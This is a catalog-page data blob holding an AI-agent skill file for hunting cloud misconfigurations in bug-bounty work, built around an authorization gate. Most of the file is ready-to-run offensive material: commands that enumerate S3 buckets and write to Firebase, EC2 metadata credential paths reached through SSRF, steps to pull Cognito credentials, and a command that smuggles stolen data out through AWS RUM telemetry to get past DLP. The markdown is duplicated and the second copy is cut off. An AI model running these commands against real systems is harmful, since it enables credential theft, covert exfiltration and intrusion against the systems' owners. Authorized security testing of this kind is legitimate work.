[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P5R05HJPG59JC3ZC1FS3Z6":3,"skill-same:01M6P5R05HJPG59JC3ZC1FS3Z6":69},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":29,"commitSha":50,"skillDirectory":51,"forksCount":13,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6P5R05HJPG59JC3ZC1FS3Z6","hunt-cloud-misconfig",null,"Hunt cloud \u002F infrastructure misconfigurations.","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-cloud-misconfig\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt cloud misconfig","cloud","hunt","community","for","relevant","helper","offensive","scripts","scope","commands","main","testing","only","Tools","license","infrastructure","testing tools","research","security","2026-11-10 10:12:30",false,"---\nname: hunt-cloud-misconfig\ndescription: Hunt cloud \u002F infrastructure misconfigurations.\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, public_research\nreport_count: 6\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 16. CLOUD \u002F INFRA MISCONFIGS\n\n### S3 \u002F GCS \u002F Azure Blob\n```bash\n# S3 listing\ncurl -s \"https:\u002F\u002FTARGET-NAME.s3.amazonaws.com\u002F?max-keys=10\"\naws s3 ls s3:\u002F\u002Ftarget-bucket-name --no-sign-request\n\n# Try common bucket names\nfor name in target target-backup target-assets target-prod target-staging; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$name: %{http_code}\\n\" \"https:\u002F\u002F$name.s3.amazonaws.com\u002F\"\ndone\n\n# Firebase open rules\ncurl -s \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002F.json\"   # read\ncurl -s -X PUT \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002Ftest.json\" -d '\"pwned\"'  # write\n```\n\n### EC2 Metadata (via SSRF)\n```bash\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F  # role name\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME  # keys\n```\n\n### Exposed Admin Panels\n```\n\u002Fjenkins  \u002Fgrafana  \u002Fkibana  \u002Felasticsearch  \u002Fswagger-ui.html\n\u002FphpMyAdmin  \u002F.env  \u002Fconfig.json  \u002Fapi-docs  \u002Fserver-status\n```\n\n---\n\n### Jenkins SSO-restriction failure → Script Console RCE\nAn exposed Jenkins that authenticates ANY personal Google\u002FOAuth account (missing org-domain restriction) is full compromise: log in, then `\u002Fscript` (Groovy console) = RCE, and `\u002Fcredentials` + `\u002FscriptText` = stored API tokens and source disclosure. Disclosed: reports\u002F231460.\n\n### Exposed message broker (RabbitMQ \u002F AMQP) with default creds\nProbe RabbitMQ management (`http:\u002F\u002FTARGET:15672\u002F`, API `:15672\u002Fapi\u002Foverview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue\u002Fmessage read, vhost enumeration, management-plugin admin. Disclosed: reports\u002F753602.\n\n## Local-verification toolchain\n\nFor testing cloud-misconfig findings against a local AWS sim before\u002Finstead of hitting real cloud:\n\n```bash\n# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)\ndocker run -d --name lab-localstack -p 14566:4566 localstack\u002Flocalstack:3.0\n\n# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):\nexport AWS_REQUEST_CHECKSUM_CALCULATION=when_required\nexport AWS_RESPONSE_CHECKSUM_VALIDATION=when_required\nexport AWS_ENDPOINT_URL=http:\u002F\u002Flocalhost:14566\nexport AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1\n```\n\nWithout those env vars, `aws s3 cp\u002Fsync` fails with `InvalidRequest`. Document this for the team. See `docs\u002Fverification\u002Fphase2j-cloud-localstack.md` for the full reproducible flow.\n\n---\n\n## CloudWatch RUM Weaponization (2024-2026 surface)\n\nAWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance\u002Ferror events to `dataplane.rum.\u003Cregion>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.\n\n### Detection — JS bundle fingerprints\n\n**Snippet-style (most common, embedded in `\u003Chead>`):**\n```javascript\n(function(n,i,v,r,s,c,x,z){...})(\n  'cwr',\n  '00000000-0000-0000-0000-000000000000',                       \u002F\u002F applicationId (UUID)\n  '1.0.0',\n  'us-east-1',\n  'https:\u002F\u002Fclient.rum.us-east-1.amazonaws.com\u002F1.x\u002Fcwr.js',\n  {\n    sessionSampleRate: 1,\n    guestRoleArn: \"arn:aws:iam::123456789012:role\u002FRUM-Monitor-...-Unauth\",\n    identityPoolId: \"us-east-1:abcd1234-...\",\n    endpoint: \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\",\n    telemetries: [\"errors\",\"performance\",\"http\"]\n  }\n);\n```\n\n**NPM-style (aws-rum-web package):**\n```javascript\nimport { AwsRum, AwsRumConfig } from 'aws-rum-web';\nconst config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };\nconst awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);\n```\n\n### Regex set for recon\n\n```bash\n# Detect RUM init\ngrep -REn \"cwr\\(['\\\"]init['\\\"]|from\\s+['\\\"]aws-rum-web['\\\"]|new\\s+AwsRum\\(\" .\n\n# Extract applicationId (UUID v4)\ngrep -ErohE \"applicationId['\\\"]?\\s*[:=]\\s*['\\\"] ([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\\\"]\" .\n\n# Extract identityPoolId (region:UUID)\ngrep -ErohE \"identityPoolId['\\\"]?\\s*[:=]\\s*['\\\"] ([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\\\"]\" .\n\n# Extract guestRoleArn (leaks AWS account ID + role name)\ngrep -ErohE \"guestRoleArn['\\\"]?\\s*[:=]\\s*['\\\"]arn:aws:iam::[0-9]{12}:role\u002F[A-Za-z0-9._\u002F-]+['\\\"]\" .\n\n# Endpoint reveals region\ngrep -ErohE \"dataplane\\.rum\\.[a-z0-9-]+\\.amazonaws\\.com\" .\n```\n\n### Attack chains\n\n**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:\n\n```bash\naws cognito-identity get-id \\\n  --identity-pool-id \"us-east-1:abcd1234-...\" \\\n  --region us-east-1 --no-sign-request\naws cognito-identity get-credentials-for-identity \\\n  --identity-id \"us-east-1:\u003Creturned-uuid>\" \\\n  --region us-east-1 --no-sign-request\n# → STS creds; export and:\naws sts get-caller-identity        # confirm role\naws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets\n# Automate: pacu \u002F enumerate-iam.py\n```\n\nFull chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.\n\n**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.\u003Cregion>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:\n\n```bash\naws rum put-rum-events \\\n  --id $(uuidgen) \\\n  --app-monitor-details '{\"id\":\"\u003CappId>\",\"version\":\"1.0.0\"}' \\\n  --user-details '{\"userId\":\"EXFIL_PAYLOAD_HERE\",\"sessionId\":\"\u003Csession>\"}' \\\n  --rum-events '[{\"id\":\"'$(uuidgen)'\",\"timestamp\":'$(date +%s)',\"type\":\"com.amazon.rum.custom_event\",\"details\":\"{\\\"exfil\\\":\\\"\u003Cbase64 of stolen data>\\\"}\"}]' \\\n  --endpoint-url \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\" \\\n  --region us-east-1\n```\n\nDefenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.\n\n**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com\u002Fcwr.js`) or bundle `aws-rum-web` and serve from `static.target.com\u002Fmain.\u003Chash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.\n\n**Chain D — Telemetry injection \u002F dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).\n\n### Severity rubric\n\n| Finding | Severity | Justification |\n|---|---|---|\n| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |\n| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil \u002F RCE depending on resource |\n| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |\n| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |\n| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |\n| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |\n| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |\n\n### Disclosed cases \u002F authoritative writeups\n\nNo CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is \"Cognito identity pool over-permission via embedded SDK\" — RUM is one common embedding.\n\n- **Andres Riancho — \"Misconfigured Cognito Identity Pools\" (2020\u002F2023)** — establishes the attack class. [andresriancho.com](https:\u002F\u002Fandresriancho.com\u002Fidentity-pools-and-the-default-iam-role-trap\u002F)\n- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com\u002FRhinoSecurityLabs\u002Fpacu](https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu)\n- **NotSoSecure \u002F Claranet — \"Exploiting weak configurations in Amazon Cognito\" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https:\u002F\u002Fwww.notsosecure.com\u002Fexploiting-weak-configurations-in-amazon-cognito\u002F)\n- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https:\u002F\u002Fcloud.hacktricks.wiki\u002Fen\u002Fpentesting-cloud\u002Faws-security\u002Faws-unauthenticated-enum-access\u002Faws-cognito-unauthenticated-enum.html)\n- **Datadog Security Labs — \"Following AWS Logs Backwards: Cognito Identity Pool Abuse\" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https:\u002F\u002Fsecuritylabs.datadoghq.com\u002Farticles\u002Fabusing-aws-cognito-misconfigurations\u002F)\n- **aws-observability\u002Faws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com\u002Faws-observability\u002Faws-rum-web](https:\u002F\u002Fgithub.com\u002Faws-observability\u002Faws-rum-web\u002Fissues)\n\n### Validation checklist (before reporting)\n\n1. Extract `identityPoolId` from page source.\n2. Confirm pool allows unauth identities (`get-id` succeeds without auth).\n3. Confirm `get-credentials-for-identity` returns STS creds.\n4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.\n5. Run `enumerate-iam` \u002F Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.\n6. Demonstrate at least one read\u002Flist against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).\n7. **Do not** modify\u002Fdelete data even if permitted — read-only PoC only.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public\u002Fdeleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.\n- **`cloud-iam-deep`** — A leaked SA JSON \u002F AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.\n- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3\u002FRDS data read.\n- **`supply-chain-attack-recon`** — Exposed CI\u002FCD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins\u002FGitLab + internal package name leak → npm\u002FPyPI dependency-confusion publish → CI build pwn.\n- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod \u002F target-backup \u002F target-staging permutations) and the Admin-Panel Path List for fast enumeration.\n- **`triage-validation`** — Apply the Unique-Marker gate: any \"writable bucket\" claim requires a write of a unique marker file and a read-back from a clean session before report submission.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 16. CLOUD \u002F INFRA MISCONFIGS\n\n### S3 \u002F GCS \u002F Azure Blob\n```bash\n# S3 listing\ncurl -s \"https:\u002F\u002FTARGET-NAME.s3.amazonaws.com\u002F?max-keys=10\"\naws s3 ls s3:\u002F\u002Ftarget-bucket-name --no-sign-request\n\n# Try common bucket names\nfor name in target target-backup target-assets target-prod target-staging; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$name: %{http_code}\\n\" \"https:\u002F\u002F$name.s3.amazonaws.com\u002F\"\ndone\n\n# Firebase open rules\ncurl -s \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002F.json\"   # read\ncurl -s -X PUT \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002Ftest.json\" -d '\"pwned\"'  # write\n```\n\n### EC2 Metadata (via SSRF)\n```bash\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F  # role name\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME  # keys\n```\n\n### Exposed Admin Panels\n```\n\u002Fjenkins  \u002Fgrafana  \u002Fkibana  \u002Felasticsearch  \u002Fswagger-ui.html\n\u002FphpMyAdmin  \u002F.env  \u002Fconfig.json  \u002Fapi-docs  \u002Fserver-status\n```\n\n---\n\n### Jenkins SSO-restriction failure → Script Console RCE\nAn exposed Jenkins that authenticates ANY personal Google\u002FOAuth account (missing org-domain restriction) is full compromise: log in, then `\u002Fscript` (Groovy console) = RCE, and `\u002Fcredentials` + `\u002FscriptText` = stored API tokens and source disclosure. Disclosed: reports\u002F231460.\n\n### Exposed message broker (RabbitMQ \u002F AMQP) with default creds\nProbe RabbitMQ management (`http:\u002F\u002FTARGET:15672\u002F`, API `:15672\u002Fapi\u002Foverview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue\u002Fmessage read, vhost enumeration, management-plugin admin. Disclosed: reports\u002F753602.\n\n## Local-verification toolchain\n\nFor testing cloud-misconfig findings against a local AWS sim before\u002Finstead of hitting real cloud:\n\n```bash\n# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)\ndocker run -d --name lab-localstack -p 14566:4566 localstack\u002Flocalstack:3.0\n\n# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):\nexport AWS_REQUEST_CHECKSUM_CALCULATION=when_required\nexport AWS_RESPONSE_CHECKSUM_VALIDATION=when_required\nexport AWS_ENDPOINT_URL=http:\u002F\u002Flocalhost:14566\nexport AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1\n```\n\nWithout those env vars, `aws s3 cp\u002Fsync` fails with `InvalidRequest`. Document this for the team. See `docs\u002Fverification\u002Fphase2j-cloud-localstack.md` for the full reproducible flow.\n\n---\n\n## CloudWatch RUM Weaponization (2024-2026 surface)\n\nAWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance\u002Ferror events to `dataplane.rum.\u003Cregion>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.\n\n### Detection — JS bundle fingerprints\n\n**Snippet-style (most common, embedded in `\u003Chead>`):**\n```javascript\n(function(n,i,v,r,s,c,x,z){...})(\n  'cwr',\n  '00000000-0000-0000-0000-000000000000',                       \u002F\u002F applicationId (UUID)\n  '1.0.0',\n  'us-east-1',\n  'https:\u002F\u002Fclient.rum.us-east-1.amazonaws.com\u002F1.x\u002Fcwr.js',\n  {\n    sessionSampleRate: 1,\n    guestRoleArn: \"arn:aws:iam::123456789012:role\u002FRUM-Monitor-...-Unauth\",\n    identityPoolId: \"us-east-1:abcd1234-...\",\n    endpoint: \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\",\n    telemetries: [\"errors\",\"performance\",\"http\"]\n  }\n);\n```\n\n**NPM-style (aws-rum-web package):**\n```javascript\nimport { AwsRum, AwsRumConfig } from 'aws-rum-web';\nconst config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };\nconst awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);\n```\n\n### Regex set for recon\n\n```bash\n# Detect RUM init\ngrep -REn \"cwr\\(['\\\"]init['\\\"]|from\\s+['\\\"]aws-rum-web['\\\"]|new\\s+AwsRum\\(\" .\n\n# Extract applicationId (UUID v4)\ngrep -ErohE \"applicationId['\\\"]?\\s*[:=]\\s*['\\\"] ([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\\\"]\" .\n\n# Extract identityPoolId (region:UUID)\ngrep -ErohE \"identityPoolId['\\\"]?\\s*[:=]\\s*['\\\"] ([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\\\"]\" .\n\n# Extract guestRoleArn (leaks AWS account ID + role name)\ngrep -ErohE \"guestRoleArn['\\\"]?\\s*[:=]\\s*['\\\"]arn:aws:iam::[0-9]{12}:role\u002F[A-Za-z0-9._\u002F-]+['\\\"]\" .\n\n# Endpoint reveals region\ngrep -ErohE \"dataplane\\.rum\\.[a-z0-9-]+\\.amazonaws\\.com\" .\n```\n\n### Attack chains\n\n**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:\n\n```bash\naws cognito-identity get-id \\\n  --identity-pool-id \"us-east-1:abcd1234-...\" \\\n  --region us-east-1 --no-sign-request\naws cognito-identity get-credentials-for-identity \\\n  --identity-id \"us-east-1:\u003Creturned-uuid>\" \\\n  --region us-east-1 --no-sign-request\n# → STS creds; export and:\naws sts get-caller-identity        # confirm role\naws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets\n# Automate: pacu \u002F enumerate-iam.py\n```\n\nFull chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.\n\n**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.\u003Cregion>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:\n\n```bash\naws rum put-rum-events \\\n  --id $(uuidgen) \\\n  --app-monitor-details '{\"id\":\"\u003CappId>\",\"version\":\"1.0.0\"}' \\\n  --user-details '{\"userId\":\"EXFIL_PAYLOAD_HERE\",\"sessionId\":\"\u003Csession>\"}' \\\n  --rum-events '[{\"id\":\"'$(uuidgen)'\",\"timestamp\":'$(date +%s)',\"type\":\"com.amazon.rum.custom_event\",\"details\":\"{\\\"exfil\\\":\\\"\u003Cbase64 of stolen data>\\\"}\"}]' \\\n  --endpoint-url \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\" \\\n  --region us-east-1\n```\n\nDefenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.\n\n**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com\u002Fcwr.js`) or bundle `aws-rum-web` and serve from `static.target.com\u002Fmain.\u003Chash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.\n\n**Chain D — Telemetry injection \u002F dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).\n\n### Severity rubric\n\n| Finding | Severity | Justification |\n|---|---|---|\n| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |\n| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil \u002F RCE depending on resource |\n| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |\n| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |\n| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |\n| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |\n| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |\n\n### Disclosed cases \u002F authoritative writeups\n\nNo CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is \"Cognito identity pool over-permission via embedded SDK\" — RUM is one common embedding.\n\n- **Andres Riancho — \"Misconfigured Cognito Identity Pools\" (2020\u002F2023)** — establishes the attack class. [andresriancho.com](https:\u002F\u002Fandresriancho.com\u002Fidentity-pools-and-the-default-iam-role-trap\u002F)\n- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com\u002FRhinoSecurityLabs\u002Fpacu](https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu)\n- **NotSoSecure \u002F Claranet — \"Exploiting weak configurations in Amazon Cognito\" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https:\u002F\u002Fwww.notsosecure.com\u002Fexploiting-weak-configurations-in-amazon-cognito\u002F)\n- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https:\u002F\u002Fcloud.hacktricks.wiki\u002Fen\u002Fpentesting-cloud\u002Faws-security\u002Faws-unauthenticated-enum-access\u002Faws-cognito-unauthenticated-enum.html)\n- **Datadog Security Labs — \"Following AWS Logs Backwards: Cognito Identity Pool Abuse\" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https:\u002F\u002Fsecuritylabs.datadoghq.com\u002Farticles\u002Fabusing-aws-cognito-misconfigurations\u002F)\n- **aws-observability\u002Faws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com\u002Faws-observability\u002Faws-rum-web](https:\u002F\u002Fgithub.com\u002Faws-observability\u002Faws-rum-web\u002Fissues)\n\n### Validation checklist (before reporting)\n\n1. Extract `identityPoolId` from page source.\n2. Confirm pool allows unauth identities (`get-id` succeeds without auth).\n3. Confirm `get-credentials-for-identity` returns STS creds.\n4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.\n5. Run `enumerate-iam` \u002F Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.\n6. Demonstrate at least one read\u002Flist against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).\n7. **Do not** modify\u002Fdelete data even if permitted — read-only PoC only.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public\u002Fdeleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.\n- **`cloud-iam-deep`** — A leaked SA JSON \u002F AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.\n- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3\u002FRDS data read.\n- **`supply-chain-attack-recon`** — Exposed CI\u002FCD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins\u002FGitLab + internal package name leak → npm\u002FPyPI dependency-confusion publish → CI build pwn.\n- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod \u002F target-backup \u002F target-staging permutations) and the Admin-Panel Path List for fast enumeration.\n- **`triage-validation`** — Apply the Unique-Marker gate: any \"writable bucket\" claim requires a write of a unique marker file and a read-back from a clean session before report submission.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper 